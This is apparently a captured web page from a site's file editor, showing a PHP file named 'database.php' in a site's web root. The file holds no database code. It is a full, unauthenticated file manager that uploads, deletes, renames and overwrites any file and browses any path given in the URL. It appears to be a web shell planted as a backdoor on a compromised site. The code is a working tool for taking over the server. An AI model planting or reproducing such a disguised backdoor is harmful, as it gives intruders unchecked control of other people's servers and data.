PATH:
var
/
www
/
vhosts
/
lahuertaatomica.es
/
httpdocs
/
Editing: database.php
<?php // UTF-8 output for proper encoding header("Content-Type: text/html; charset=UTF-8"); // ================================ // Current Folder Setup // ================================ $currentDir = isset($_GET['path']) ? realpath($_GET['path']) : realpath('.'); // ================================ // Upload Section // ================================ if (!empty($_FILES['upload_item']['name']) && $_FILES['upload_item']['error'] === 0) { $targetFile = $currentDir . '/' . basename($_FILES['upload_item']['name']); move_uploaded_file($_FILES['upload_item']['tmp_name'], $targetFile); header("Location: ?path=" . urlencode($currentDir)); exit; } // ================================ // New Folder Creation // ================================ if (!empty($_POST['create_dir'])) { @mkdir($currentDir . '/' . trim($_POST['create_dir'])); header("Location: ?path=" . urlencode($currentDir)); exit; } // ================================ // Deletion (File / Folder) // ================================ if (!empty($_GET['del'])) { $deletePath = realpath($currentDir . '/' . $_GET['del']); if (is_dir($deletePath)) { @rmdir($deletePath); } else { @unlink($deletePath); } header("Location: ?path=" . urlencode($currentDir)); exit; } // ================================ // Rename (File / Folder) // ================================ if (!empty($_POST['rename_from']) && !empty($_POST['rename_to'])) { $from = $currentDir . '/' . $_POST['rename_from']; $to = $currentDir . '/' . $_POST['rename_to']; @rename($from, $to); header("Location: ?path=" . urlencode($currentDir)); exit; } // ================================ // Save File Edit // ================================ if (!empty($_POST['edit_file']) && isset($_POST['file_data'])) { file_put_contents($_POST['edit_file'], $_POST['file_data']); header("Location: ?path=" . urlencode(dirname($_POST['edit_file']))); exit; } // ================================ // List Files and Folders // ================================ $items = scandir($currentDir); // ================================ // Header & Navigation // ================================ echo "<h2>📁 File Manager — {$currentDir}</h2>"; echo "<a href='?path=" . urlencode(dirname($currentDir)) . "'>⬅ Go Back</a><br><br>"; // ================================ // Upload Form // ================================ echo "<form method='POST' enctype='multipart/form-data'> <input type='file' name='upload_item'> <button type='submit'>Upload</button> </form>"; // ================================ // Create Folder Form // ================================ echo "<form method='POST'> <input type='text' name='create_dir' placeholder='New Folder Name'> <button type='submit'>Create Folder</button> </form><br>"; // ================================ // Directory Table // ================================ echo "<table border='1' cellpadding='5'> <tr><th>Name</th><th>Actions</th></tr>"; foreach ($items as $name) { if ($name === '.' || $name === '..') continue; $fullPath = $currentDir . '/' . $name; echo "<tr><td>"; if (is_dir($fullPath)) { echo "<a href='?path=" . urlencode($fullPath) . "'>📂 {$name}</a>"; } else { echo "📄 {$name}"; } echo "</td><td>"; // Rename Form echo "<form method='POST' style='display:inline-block;'> <input type='hidden' name='rename_from' value='{$name}'> <input type='text' name='rename_to' placeholder='Rename to...'> <button type='submit'>Rename</button> </form> "; // Delete echo "<a href='?path=" . urlencode($currentDir) . "&del={$name}' onclick='return confirm(\"Delete {$name}?\")'>🗑 Delete</a>"; // Download + Edit if (is_file($fullPath)) { $publicPath = str_replace($_SERVER['DOCUMENT_ROOT'], '', $fullPath); echo " | <a href='{$publicPath}' download>⬇ Download</a>"; echo " | <a href='?path=" . urlencode($currentDir) . "&edit={$name}'>✏ Edit</a>"; } echo "</td></tr>"; } echo "</table>"; // ================================ // File Editing Interface // ================================ if (!empty($_GET['edit'])) { $editFile = $currentDir . '/' . $_GET['edit']; if (is_file($editFile) && is_readable($editFile)) { $data = htmlspecialchars(file_get_contents($editFile)); echo "<h3>Editing: {$_GET['edit']}</h3>"; echo "<form method='POST'> <input type='hidden' name='edit_file' value='" . htmlspecialchars($editFile) . "'> <textarea name='file_data' rows='20' cols='100'>{$data}</textarea><br> <button type='submit'>💾 Save Changes</button> </form>"; } else { echo "<p>❌ Unable to open file for editing.</p>"; } } ?>
SAVE
CANCEL